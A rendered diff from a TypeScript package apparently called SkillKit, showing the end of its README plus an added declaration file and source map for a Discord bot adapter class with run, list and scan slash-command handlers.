MIT License - See [LICENSE](LICENSE) for details.
|
|
395
|
+
|
|
396
|
+
Built with love by [ArtefactForge](https://artefactforge.ai)
|
|
397
|
+
|
|
398
|
+
**Star this repo** if SkillKit saves you time or money!
|
|
399
|
+
|
|
400
|
+
</div>
|
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
import { BaseChannelAdapter, ChannelResponse } from './index.js';
|
|
2
|
+
export declare class DiscordAdapter extends BaseChannelAdapter {
|
|
3
|
+
name: string;
|
|
4
|
+
private botToken;
|
|
5
|
+
private bot;
|
|
6
|
+
private interactionToken?;
|
|
7
|
+
constructor(botToken: string);
|
|
8
|
+
connect(): Promise<void>;
|
|
9
|
+
private setupEventHandlers;
|
|
10
|
+
private handleRunCommand;
|
|
11
|
+
private handleListCommand;
|
|
12
|
+
private handleScanCommand;
|
|
13
|
+
disconnect(): Promise<void>;
|
|
14
|
+
sendMessage(message: ChannelResponse): Promise<void>;
|
|
15
|
+
registerSlashCommands(): Promise<void>;
|
|
16
|
+
}
|
|
17
|
+
export declare function createDiscordAdapter(botToken: string): DiscordAdapter;
|
|
18
|
+
//# sourceMappingURL=discord.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"discord.d.ts","sourceRoot":"","sources":["../../src/channels/discord.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,kBAAkB,EAAkB,eAAe,EAAE,MAAM,YAAY,CAAC;AAiBjF,qBAAa,cAAe,SAAQ,kBAAkB;IACpD,IAAI,SAAa;IACjB,OAAO,CAAC,QAAQ,CAAS;IACzB,OAAO,CAAC,GAAG,CAAa;IACxB,OAAO,CAAC,gBAAgB,CAAC,CAAS;gBAEtB,QAAQ,EAAE,MAAM;IAKtB,OAAO,IAAI,OAAO,CAAC,IAAI,CAAC;IAkC9B,OAAO,CAAC,kBAAkB;YA+DZ,gBAAgB;YAqBhB,iBAAiB;YAuBjB,iBAAiB;IAoBzB,UAAU,IAAI,OAAO,CAAC,IAAI,CAAC;IAY3B,WAAW,CAAC,OAAO,EAAE,eAAe,GAAG,OAAO,CAAC,IAAI,CAAC;IA4DpD,qBAAqB,IAAI,OAAO,CAAC,IAAI,CAAC;CAoD7C;AAED,wBAAgB,oBAAoB,CAAC,QAAQ,EAAE,MAAM,GAAG,cAAc,CAErE"}
|